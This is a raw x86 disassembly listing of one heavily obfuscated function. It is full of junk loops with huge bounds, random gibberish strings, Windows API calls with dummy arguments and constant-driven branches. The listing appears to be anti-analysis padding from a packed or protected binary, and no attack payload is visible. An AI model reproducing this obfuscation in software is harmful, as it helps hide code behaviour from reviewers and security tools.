jmp 0x4b8e04
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov dword [ebp - 0x3c], 0x7d214c40
cmp dword [ebp - 0x604], 0x1bc7
jge 0x4b8f26
push 0x3e50
push 1
push 0x5465
push 0x23e4
push 0x76d0
push 0x35b2
lea eax, [ebp - 0x8cc]
push eax
push 0x290a
push 0
call fcn.004c3b63
add esp, 0x24
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x7d4], 0x28f0
mov dword [ebp - 0x8dc], str.dmccdrcct_kacrf_glykxovfa_mgmbhn_mtqxjp_olqr_wxo_jgxebdl_ovsbnprg
cmp dword [ebp - 0x7d4], 0x299e
jle 0x4b8fb8
push 0
push 0
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x6e80
push 1
push 0xb07
push 0x6961
push 0x258e
push 1
push 0x6375
push 0x1647
push 1
push 0
push 0x7da0
push 1
call fcn.004a405a
add esp, 0x30
push 1
push 0x470
push 1
push 0x31f7
push 1
push 0x3468
push 0x361b
push 0
push 0x1ab7
call fcn.004ad0ec
add esp, 0x24
mov dword [ebp - 0x3c], 0
jmp 0x4b8fc8
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jg 0x4b9430
mov dword [ebp - 0x490], 0xf7919adb
mov dword [ebp - 0x6fc], 0x2cbb
mov dword [ebp - 0x980], str.jfpyvosuo_itxfhxn_qpihbyrbg_snwamjur_qyyh_xjtlyc
cmp dword [ebp - 0x6fc], 0x2ceb
jle 0x4b9048
and dword [ebp - 0x434], 0
jmp 0x4b9012
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0x2976
jge 0x4b9048
push 1
push 0x6db4
push 1
push 1
push 0
push 0x280c
push 1
lea eax, [ebp - 0x434]
push eax
push 0x3165
call fcn.004a9765
add esp, 0x24
jmp 0x4b9005
push 0x489c
push 0
lea eax, [ebp - 0x980]
push eax
push 0
push 0x1ee1
lea eax, [ebp - 0x6fc]
push eax
push 1
push 0
call fcn.004c5baa
add esp, 0x20
mov dword [ebp - 0x294], 0
jmp 0x4b9089
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 3
jge 0x4b90a5
mov eax, dword [ebp - 0x294]
mov dword [ebp + eax*4 - 0xcb4], 0x39523dd9
jmp 0x4b907c
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x4b9131
cmp dword [ebp - 0x490], 0x725d3672
jg 0x4b90c8
mov dword [ebp - 0x60c], 1
jmp 0x4b90cf
and dword [ebp - 0x60c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
cmp eax, dword [ebp - 0x60c]
jg 0x4b90ed
mov dword [ebp - 0x7b4], 1
jmp 0x4b90f4
and dword [ebp - 0x7b4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
cmp dword [ebp - 0x7b4], eax
je 0x4b9112
mov dword [ebp - 0x614], 1
jmp 0x4b9119
and dword [ebp - 0x614], 0
cmp dword [ebp - 0x614], 0xce3c
je 0x4b9131
mov dword [ebp - 0x704], 1
jmp 0x4b9138
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x704]
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0
jne 0x4b9163
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x48], 0
jne 0x4b9163
and dword [ebp - 0x77c], 0
jmp 0x4b916d
mov dword [ebp - 0x77c], 1
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0xb70]
mov dword [ebp - 0x61c], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x61c]
mov dword [ebp + eax*4 - 0xb70], ecx
mov eax, dword [ebp - 0x61c]
cmp eax, dword [ebp - 0x77c]
jg 0x4b91a7
mov dword [ebp - 0x624], 1
jmp 0x4b91ae
and dword [ebp - 0x624], 0
cmp dword [ebp - 0x624], 0xfffffff8
jbe 0x4b91c3
mov dword [ebp - 0x8d4], 1
jmp 0x4b91ca
and dword [ebp - 0x8d4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcb4]
mov dword [ebp - 0xc68], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xc0c], eax
cmp dword [ebp - 0x3c], 0xe26595ad
je 0x4b91fe
cmp dword [ebp - 0x3c], 0
jne 0x4b91fe
and dword [ebp - 0x70c], 0
jmp 0x4b9208
mov dword [ebp - 0x70c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
imul eax, dword [ebp - 0x70c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x98], 3
jmp 0x4b9238
mov eax, dword [ebp - 0x98]
dec eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jl 0x4b942b
mov dword [ebp - 0x62c], 0x6c80
mov dword [ebp - 0x988], str.afxifrc_ene_eopfe_rti_pdctgbl_njo_pbljl_jefteocuw_jhmrp
cmp dword [ebp - 0x62c], 0x6f84
jle 0x4b9311
and dword [ebp - 0x38c], 0
jmp 0x4b927f
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0x5c61
jge 0x4b9311
and dword [ebp - 0x29c], 0
jmp 0x4b92a5
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0x317a
jge 0x4b930c
and dword [ebp - 0x408], 0
jmp 0x4b92c7
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0x71d7
jge 0x4b930a
mov eax, dword [ebp - 0x38c]
sub eax, dword [ebp - 0x29c]
and eax, dword [ebp - 0x408]
cdq
mov dword [ebp - 0x91c], eax
mov dword [ebp - 0x918], edx
push dword [ebp - 0x918]
push dword [ebp - 0x91c]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4b92ba
jmp 0x4b9298
jmp 0x4b9272
mov byte [ebp - 0x70], 0
movzx eax, byte [ebp - 0x70]
test eax, eax
je 0x4b93a3
push 0xee9
push 0x5ed4
push 0
push 1
push 0x22c6
push 0x7c16
push 0x67ab
push 1
push 0x3aae
push 0x4dfe
push 0x10c3
push 0x3b00
push 0x10cb
push 0xaf5
push 0x391a
push 0x2e2d
push 1
push 0x1634
push 0x430e
push 0x6106
push 0x59dc
push 0x3c23
push 1
push 0x70b2
push 0x2abf
push 0x2226
push 0
push 0x211
call fcn.004b3ca8
add esp, 0x70
cmp dword [ebp - 0x62c], 0x6bd7
jge 0x4b93ed
push 0x6c61
push 1
push 0x31b3
push 0x5068
push 0x3cc7
push 0x24e9
push 1
lea eax, [ebp - 0x988]
push eax
push 1
push 0x2e45
push 1
push 0x125
push 0
push 1
call fcn.004a0c6d
add esp, 0x38
mov byte [ebp - 0x55], 0
movzx eax, byte [ebp - 0x55]
test eax, eax
je 0x4b9426
push 0x38e5
push 0x4b83
push 0x211a
push 0
push 1
push 1
push 0x2dde
push 1
push 0x14ec
push 1
push 0
call fcn.004a9a3c
add esp, 0x2c
jmp 0x4b922b
jmp 0x4b8fc1
push 0x25c4
push 0x4b2e
push 1
push 0
push 1
push 0x2236
push 0x46fb
push 0x17ed
push 0x7ba1
push 1
push 1
lea eax, [ebp - 0x8dc]
push eax
push 0xf94
push 0x58af
lea eax, [ebp - 0x7d4]
push eax
call fcn.0049ec46
add esp, 0x3c
jmp 0x4b8db1
mov byte [ebp - 0x6a], 0
movzx eax, byte [ebp - 0x6a]
test eax, eax
je 0x4b95ef
mov dword [ebp - 0x634], 0x7a01
mov dword [ebp - 0x990], str.nvfoc_npdlwpks_jxbtgroo_qckhcnvnx_crt_duyxlb
cmp dword [ebp - 0x634], 0x7b00
jle 0x4b9551
and dword [ebp - 0x2a4], 0
jmp 0x4b94c7
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x39dd
jge 0x4b9551
and dword [ebp - 0x394], 0
jmp 0x4b94e9
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0x7486
jge 0x4b954c
mov eax, dword [ebp - 0x2a4]
xor eax, dword [ebp - 0x394]
cdq
mov dword [ebp - 0xb38], eax
mov dword [ebp - 0xb34], edx
push 0x5b13
push 1
push 0x7421
push 0x18e5
push 0x371
push 1
push 0x8e5
push 0
push 0x5b6b
push 0x6ae3
lea eax, [ebp - 0xb38]
push eax
push 1
push 1
call fcn.004a2e93
add esp, 0x34
jmp 0x4b94dc
jmp 0x4b94ba
push 1
push 0x73ec
push 0x6d36
push 1
push 0x2a01
push 1
push 0x6d60
push 0x25f4
push 0x5254
push 0x72e6
push 0
push 0x43a5
push 0x55f4
push 1
push 1
call fcn.004a1b39
add esp, 0x3c
cmp dword [ebp - 0x634], 0x762c
jge 0x4b95ef
push 0x2530
push 0x3109
push 1
push 0x1e50
push 1
push 0x528b
push 1
lea eax, [ebp - 0x990]
push eax
push 0x308f
push 0xd39
push 0x5598
push 0x7fb5
push 0
push 0x5757
push 1
push 1
push 1
push 0x7a59
push 1
call fcn.004a29f6
add esp, 0x4c
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xe8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0xc], eax
jne 0x4b9bb0
mov dword [ebp - 0x714], 0x373b
mov dword [ebp - 0x8e4], str.divngb_ivtrmllot_hupmyxs_nxauy_xaiqiafip_udfdce_iphtyd_xojifem_rfhuol_vwrewjm_nfe_vtq_nnhewdge_qaqbgibs
cmp dword [ebp - 0x714], 0x397a
jle 0x4b9701
and dword [ebp - 0x2b4], 0
jmp 0x4b9644
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x5279
jge 0x4b9701
and dword [ebp - 0x2ac], 0
jmp 0x4b966a
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x6cd7
jge 0x4b96fc
and dword [ebp - 0x448], 0
jmp 0x4b9690
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0x456a
jge 0x4b96f7
push 0x1f29
push 0
push 0x531a
push 1
push 1
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x2b4]
push eax
push 1
push 1
push 0x3002
push 0x67f1
push 0
push 0x41ee
push 8
push 0x7e06
push 0x2022
push 1
push 1
push 1
push 0x6560
call fcn.004b37d1
add esp, 0x54
jmp 0x4b9683
jmp 0x4b965d
jmp 0x4b9637
cmp dword [ebp - 0x714], 0x34f4
jge 0x4b9723
lea eax, [ebp - 0x8e4]
push eax
push 0
push 0x4b01
call fcn.004c6349
add esp, 0xc
mov dword [ebp - 0x2bc], 8
mov dword [ebp - 0x39c], 0
jmp 0x4b9746
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 2
jge 0x4b9762
mov eax, dword [ebp - 0x39c]
mov dword [ebp + eax*4 - 0xcc8], 0xffff
jmp 0x4b9739
mov dword [ebp - 0x2bc], 0
jmp 0x4b977b
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 1
jg 0x4b9a6c
mov byte [ebp - 0x77], 0
mov dword [ebp - 0x784], 0x3b63
mov dword [ebp - 0x8ec], str.kxllwdsdl_kgrdlk_badrt_bvryuwjw_topqumi_hswaxbfu_pyjtlaml
cmp dword [ebp - 0x784], 0x3ca1
jle 0x4b98dd
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
and dword [ebp - 0x108], 0
jmp 0x4b97cc
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x440
jge 0x4b98b2
and dword [ebp - 0xf8], 0
jmp 0x4b97f2
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x476b
jge 0x4b98ad
and dword [ebp - 0x100], 0
jmp 0x4b9818
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x6937
jge 0x4b98a8
and dword [ebp - 0x110], 0
jmp 0x4b983e
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x115a
jge 0x4b98a3
mov eax, dword [ebp - 0xf8]
cdq
idiv dword [ebp - 0x100]
add edx, dword [ebp - 0x108]
or edx, dword [ebp - 0x110]
mov eax, edx
cdq
mov dword [ebp - 0xaa8], eax
mov dword [ebp - 0xaa4], edx
push 0x7a3
push 0x7259
lea eax, [ebp - 0xaa8]
push eax
push 1
push 1
push 1
push 0x6c97
push 1
push 0x4d29
push 1
push 0
call fcn.004a9a3c
add esp, 0x2c
jmp 0x4b9831
jmp 0x4b980b
jmp 0x4b97e5
jmp 0x4b97bf
push 1
push 0
push 0x46d2
push 1
push 0x2a4e
push 1
push 1
push 0x5401
push 0x6ff3
push 0xf9d
call fcn.0049fb3a
add esp, 0x28
movzx eax, byte [ebp - 0x77]
test eax, eax
je 0x4b9a13
mov dword [ebp - 0x63c], 0x341f
mov dword [ebp - 0x998], str.qrojk_pcukwqf_abixqtpk_pxqlacr_ailxvvgrv_axh_jvolc_acujl_cbkxdrec_pphn_ecewtln
cmp dword [ebp - 0x63c], 0x375c
jle 0x4b99ae
and dword [ebp - 0x118], 0
jmp 0x4b9923
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x2b43
jge 0x4b99ae
push 0x2476
push 1
push 0
push 0x2c22
push 0x5a0e
push 0
push 0x4a2a
push 0x653b
push 0x68be
push 0x1466
push 0x41bd
push 0x6edb
lea eax, [ebp - 0x118]
push eax
push 0x55a1
push 1
push 1
push 1
push 0x6958
push 0x3131
push 0xfa
push 0x5868
push 0x2346
push 0x78ac
push 0x2ec5
push 0x7fc5
push 0x19f5
call fcn.004a5210
add esp, 0x68
jmp 0x4b9916
push 0x2078
push 0
push 0x6042
call fcn.004bdc0e
add esp, 0xc
cmp dword [ebp - 0x63c], 0x31ac
jge 0x4b9a13
push 1
push 0x14e7
push 1
push 1
push 1
push 0x635b
push 1
push 0x3f90
push 0x5e45
push 0xf6c
push 0x3e18
push 0x7934
push 0x22b7
lea eax, [ebp - 0x998]
push eax
push 1
push 1
call fcn.0049a7da
add esp, 0x40
cmp dword [ebp - 0x784], 0x37da
jge 0x4b9a67
push 0x3df7
push 0x792f
push 1
push 0
push 1
push 0x7107
push 0x2c53
push 0x3235
push 1
lea eax, [ebp - 0x8ec]
push eax
push 0
push 0x1bdb
push 0x5397
push 0x7cb8
push 0x3078
push 1
call fcn.004b1dd1
add esp, 0x40
jmp 0x4b976e
mov dword [ebp - 0x644], 0x4d43
mov dword [ebp - 0x9a0], str.gmjh_rsfiwfpix_fyq_ognaqukb
cmp dword [ebp - 0x644], 0x4ff0
jle 0x4b9b3f
and dword [ebp - 0x120], 0
jmp 0x4b9aa6
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x619e
jge 0x4b9b3f
push 0x2959
push 0x24dd
push 0
push 1
push 0x4447
push 0x38d4
push 0x7079
push 1
push 0x6929
push 0x1c84
push 0x47fc
push 0x2bd7
lea eax, [ebp - 0x120]
push eax
push 0x2a79
push 0x2637
push 0x11c4
push 1
push 0x4bd9
push 0x16c4
push 0x2bc0
push 0xe3b
push 0x7dd4
push 1
push 0x4a2d
push 0x4821
push 0x237d
push 1
push 0x6207
call fcn.004b3ca8
add esp, 0x70
jmp 0x4b9a99
mov eax, dword [ebp - 0xc]
movzx eax, byte [ebp + eax - 0xe8]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x644], 0x4c04
jge 0x4b9b96
push 1
push 0
push 1
push 1
push 0x61e6
push 1
push 0x523a
push 0x6a29
push 0x2f9
lea eax, [ebp - 0x9a0]
push eax
push 0x176c
push 1
push 0x4f6c
call fcn.0049e127
add esp, 0x34
mov eax, dword [ebp - 0xc]
movzx eax, byte [ebp + eax - 0xe8]
mov ecx, dword [ebp - 0xc]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0xc], eax
jmp 0x4b8d35
mov dword [ebp - 0x4f0], 0x68b2
mov dword [ebp - 0x9d8], str.pyv_wdnlo_vsfhhgu_mlcwmidwc_aayrn_bayp_tjq_lijsod_kysbema_jbirwuef_qsh_opfwcp_nrnmpvst
cmp dword [ebp - 0x4f0], 0x6a0f
jle 0x4b9c6d
and dword [ebp - 0x128], 0
jmp 0x4b9bea
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xc3a
jge 0x4b9c49
and dword [ebp - 0x130], 0
jmp 0x4b9c0c
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x3dea
jge 0x4b9c47
push 0
push 0x1d1b
push 1
push 1
push 1
push 0x79ba
push 0x2290
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x130]
push eax
call fcn.004c5278
add esp, 0x24
jmp 0x4b9bff
jmp 0x4b9bdd
push 0x5a53
push 0x5e7d
push 0x6e17
push 1
push 1
push 0
push 0
push 0x7d6d
call fcn.004c5916
add esp, 0x20
mov dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x810]
call fcn.004179d7
mov dword [ebp - 0x14], 0xe7ccc895
mov dword [ebp - 0x190], 9
mov dword [ebp - 0x49c], 0x3346
mov dword [ebp - 0x8f4], str.fagojd_dptkrqxq_kufh_war_ebdhmrw_atx_ifx_yie
cmp dword [ebp - 0x49c], 0x35ac
jle 0x4b9d89
and dword [ebp - 0x148], 0
jmp 0x4b9ccc
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0xde4
jge 0x4b9d89
and dword [ebp - 0x138], 0
jmp 0x4b9cf2
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x74fb
jge 0x4b9d84
and dword [ebp - 0x140], 0
jmp 0x4b9d18
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x790c
jge 0x4b9d7f
mov ecx, dword [ebp - 0x138]
sub ecx, dword [ebp - 0x140]
mov eax, dword [ebp - 0x148]
sar eax, cl
cdq
mov dword [ebp - 0xb20], eax
mov dword [ebp - 0xb1c], edx
push 0x4da1
push 1
push 0x65ee
push 0x456a
push 1
push 1
push 0x4a2f
push 1
push 0x3b
push 1
push 1
push 1
lea eax, [ebp - 0xb20]
push eax
push 0x7b5
call fcn.0049b886
add esp, 0x38
jmp 0x4b9d0b
jmp 0x4b9ce5
jmp 0x4b9cbf
mov dword [ebp - 0x178], 0x8664a11
cmp dword [ebp - 0x49c], 0x30fc
jge 0x4b9daf
mov edx, dword [ebp - 0x8f4]
mov ecx, 0xac7538
call fcn.0041c2dd
push 0x364c
push 1
push 0
push 0x17b3
push 0xe1c
lea eax, [ebp - 0xc64]
push eax
push 0
push 1
push 0x82e
lea eax, [ebp - 0x810]
push eax
push 1
push 0x4537
call fcn.004a8262
add esp, 0x30
push 0x5c54
push 0x6ae7
push 0x3f76
push 0
lea eax, [ebp - 4]
push eax
push 0
push 1
call fcn.004c1b00
add esp, 0x1c
cmp dword [ebp - 4], 0
jne 0x4b9e6a
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0
jne 0x4b9e57
cmp dword [ebp - 4], 0
je 0x4b9e3c
mov eax, 0x145c
test eax, eax
je 0x4b9e3c
mov dword [ebp - 0x4a0], 1
jmp 0x4b9e43
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x4a0], eax
jl 0x4b9e57
and dword [ebp - 0x4a8], 0
jmp 0x4b9e61
mov dword [ebp - 0x4a8], 1
cmp dword [ebp - 0x4a8], 0xffffffff
jne 0x4b9e71
cmp dword [ebp - 0x190], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc14], eax
mov eax, dword [ebp - 4]
cmp dword [ebp - 4], eax
jg 0x4b9e8e
mov dword [ebp - 0x4b0], 1
jmp 0x4b9e95
and dword [ebp - 0x4b0], 0
push 0
lea ecx, [ebp - 0x810]
call fcn.00417bb8
mov dword [eax], 0x37d45db3
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x14]
mov ecx, 0x37d45db3
sub ecx, eax
mov dword [ebp - 0x178], ecx
je 0x4ba379
push 2
lea ecx, [ebp - 0xa00]
call fcn.004179d7
mov dword [ebp - 0x9c0], 0x4a276ac
push 1
push 1
push 0x76cf
push 1
push 1
push 0x4ea3
push 0x595
push 1
push 0x7882
push 0
lea eax, [ebp - 0xc6c]
push eax
push 0x889
push 0x6a5
push 1
lea eax, [ebp - 0xa00]
push eax
push 0x5f36
call fcn.004ad9dc
add esp, 0x40
mov dword [ebp - 4], 0
jmp 0x4b9f38
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jg 0x4ba369
mov dword [ebp - 0x908], 0xfad0d727
mov dword [ebp - 0x914], 1
mov dword [ebp - 0x4c0], 0x2870
mov dword [ebp - 0x9a8], str.gvlseghud_fcgr_kyncdk_vefexalj_thfbi_aqrxg_nngav_pnsg_opkcp_caehkknlv_vpjlfm_wisfrlnq_rnyxis
cmp dword [ebp - 0x4c0], 0x2a3a
jle 0x4ba026
and dword [ebp - 0x150], 0
jmp 0x4b9f90
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x5992
jge 0x4ba026
and dword [ebp - 0x158], 0
jmp 0x4b9fb6
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x13d0
jge 0x4ba021
push 0x410a
push 0x4467
lea eax, [ebp - 0x150]
push eax
push 0x7d0e
push 0x7566
push 0x7483
push 1
push 1
push 1
push 1
push 0x16ef
push 0x3359
push 0x1d7b
push 0x667b
push 1
push 1
lea eax, [ebp - 0x158]
push eax
push 0x7320
push 0x4715
push 0
push 1
call fcn.004af79b
add esp, 0x54
jmp 0x4b9fa9
jmp 0x4b9f83
push dword [ebp - 4]
lea ecx, [ebp - 0x810]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x14]
push dword [ebp - 4]
lea ecx, [ebp - 0x810]
call fcn.00417bb8
cmp dword [eax], esi
jge 0x4ba05a
mov dword [ebp - 0x4b8], 1
jmp 0x4ba061
and dword [ebp - 0x4b8], 0
push 1
lea ecx, [ebp - 0xa00]
call fcn.00417bb8
mov ecx, dword [ebp - 0x4b8]
mov dword [eax], ecx
cmp dword [ebp - 0x4c0], 0x25d8
jge 0x4ba092
mov edx, dword [ebp - 0x9a8]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x4d0], 0x1cd2
mov dword [ebp - 0x920], str.awj_alpwrnisa_csxqfa_eeyg_abugrg_dfmmhclq_gwobnnjp_flqhdg_rgelrtxw_lljgdiut
cmp dword [ebp - 0x4d0], 0x203c
jle 0x4ba120
and dword [ebp - 0x160], 0
jmp 0x4ba0c8
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x332b
jge 0x4ba0fc
lea eax, [ebp - 0x160]
push eax
push 0
push 0x6170
push 0
push 0x5b7
push 0x6703
push 1
push 1
call fcn.004c5baa
add esp, 0x20
jmp 0x4ba0bb
push 0x26d4
push 0x71f0
push 0x6bee
push 1
push 1
push 0
push 1
push 0x4299
call fcn.004c5916
add esp, 0x20
mov dword [ebp - 0x14], 0
jmp 0x4ba130
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jg 0x4ba313
mov dword [ebp - 0x9b8], 0xfffffffa
mov dword [ebp - 0x4c8], 0x1e21
mov dword [ebp - 0x8fc], str.qimi_gmdcjtt_pdkv_ylqkw_hsomwrabv_bndtve_youdmb_cwyrxohbl
cmp dword [ebp - 0x4c8], 0x2007
jle 0x4ba226
and dword [ebp - 0x168], 0
jmp 0x4ba17e
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x50c3
jge 0x4ba1fb
and dword [ebp - 0x170], 0
jmp 0x4ba1a0
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x7ffd
jge 0x4ba1f6
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x170]
shl eax, cl
cdq
mov dword [ebp - 0xab8], eax
mov dword [ebp - 0xab4], edx
push 0
push 0
lea eax, [ebp - 0xab8]
push eax
push 0x54d2
push 1
push 0x3a29
push 1
push 1
push 0x72c0
push 0x38d5
call fcn.004c1c34
add esp, 0x28
jmp 0x4ba193
jmp 0x4ba171
push 1
push 1
push 0x5efd
push 0
push 1
push 0x18d1
push 0x3aae
push 0x4ade
push 1
push 0x739c
call fcn.004a6e5d
add esp, 0x28
mov dword [ebp - 0x9b0], 2
cmp dword [ebp - 0x4c8], 0x1d31
jge 0x4ba273
push 0x448b
push 0x30b5
push 1
push 1
push 0
push 1
lea eax, [ebp - 0x8fc]
push eax
push 0x5fdd
push 1
push 0x53c1
push 0x7780
push 0x3247
call fcn.004c2457
add esp, 0x30
push 0x5e9f
push 1
push 1
push 0x2aa8
push 0x4e15
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x810]
push eax
push 0x3e7
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0x9b0]
push eax
lea eax, [ebp - 0x908]
push eax
push 0x18d3
push 0xb3a
push 1
push 1
push 1
push 0x1ad7
lea eax, [ebp - 0x9b8]
push eax
lea eax, [ebp - 0x914]
push eax
push 0x3152
push 0x8a9
push 0x24ed
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x9c0]
push eax
call fcn.004a5210
add esp, 0x68
push 1
lea ecx, [ebp - 0xa00]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
jmp 0x4ba129
cmp dword [ebp - 0x4d0], 0x1bc2
jge 0x4ba364
push 0x7207
push 1
push 0x20f7
push 0x786e
push 1
lea eax, [ebp - 0x920]
push eax
push 1
push 0x6d97
push 0x5985
push 0x47ed
push 1
push 1
push 1
push 0x74ac
push 1
push 0x5cf3
call fcn.0049d214
add esp, 0x40
jmp 0x4b9f31
lea ecx, [ebp - 0xa00]
call fcn.00417aef
jmp 0x4ba56d
mov dword [ebp - 0x468], 0xe43c
push 3
lea ecx, [ebp - 0xbac]
call fcn.004179d7
mov dword [ebp - 0x180], 0
jmp 0x4ba3a9
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 3
jge 0x4ba3cb
push dword [ebp - 0x180]
lea ecx, [ebp - 0xbac]
call fcn.00417bb8
mov dword [eax], 0x418f7f2f
jmp 0x4ba39c
mov dword [ebp - 4], 0
jmp 0x4ba3db
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xfffffff1
jg 0x4ba562
mov dword [ebp - 0x4d8], 0x1734826a
mov dword [ebp - 0x188], 0
jmp 0x4ba408
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 2
jge 0x4ba424
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0xb60], 0xe3164c11
jmp 0x4ba3fb
mov dword [ebp - 0x14], 0
jmp 0x4ba434
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x10
jne 0x4ba53b
mov dword [ebp - 0x4e0], 0xb999c826
push 0x6f12
push 0
push 1
push 0x4775
push 1
lea eax, [ebp - 0x468]
push eax
push 0x2696
push 0
push 0x7299
push 0xa87
call fcn.004abb52
add esp, 0x28
cmp dword [ebp - 0x468], 0
je 0x4ba496
mov eax, 0xfffffbc9
test eax, eax
je 0x4ba496
mov dword [ebp - 0x9c8], 1
jmp 0x4ba49d
and dword [ebp - 0x9c8], 0
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x4d8], eax
cmp dword [ebp - 0x4d8], 0xfffffffb
je 0x4ba4be
mov dword [ebp - 0x92c], 1
jmp 0x4ba4c5
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0xc1c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb60]
cmp dword [ebp - 0x190], eax
jg 0x4ba4f2
mov dword [ebp - 0x9d0], 1
jmp 0x4ba4f9
and dword [ebp - 0x9d0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb60]
cmp dword [ebp - 0x468], eax
je 0x4ba51a
